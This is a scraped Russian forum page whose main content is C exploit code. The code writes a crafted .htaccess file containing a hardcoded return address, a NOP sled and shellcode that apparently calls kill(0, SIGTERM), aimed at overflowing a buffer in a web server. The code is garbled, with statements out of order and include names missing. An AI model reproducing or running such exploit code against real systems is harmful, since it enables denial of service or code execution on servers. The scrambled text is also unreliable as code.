[an error occurred while processing this directive]
|
#include #define BUFSIZE 3000 /* int if ((buf = malloc(BUFSIZE)) == NULL) for (p = (unsigned int *)buf; (char *)p < buf + BUFSIZE; p++) if ((fd = open(".htaccess", O_CREAT | O_TRUNC | O_WRONLY, 0644)) == -1) return 0;
E-mail:
info@telesys.ru
#include
#include
#include
#include
#define OFFSET 500
#define NOPLEN 100
#define RETADDR 0xdfbfb6ac
#define NOP 0x90
* kill(0, SIGTERM);
*/
char killcode[] =
"\x31\xc0\xb0\x0f\x50\x31\xc0\x50"
"\xb0\x25\x50\xcd\x80";
main(argc, argv)
int argc;
char argv[];
{
char *buf, *off;
unsigned int *p;
int fd;
err(1, "malloc()");
*p = RETADDR;
off = buf + OFFSET;
memset(off, NOP, NOPLEN);
memcpy(off + NOPLEN, killcode, strlen(killcode));
err(1, "open()");
write(fd, buf, BUFSIZE);
close(fd);
}
Ответы
Перейти к списку ответов
|||
Конференция
|||
Архив
|||
Главная страница
|||
Содержание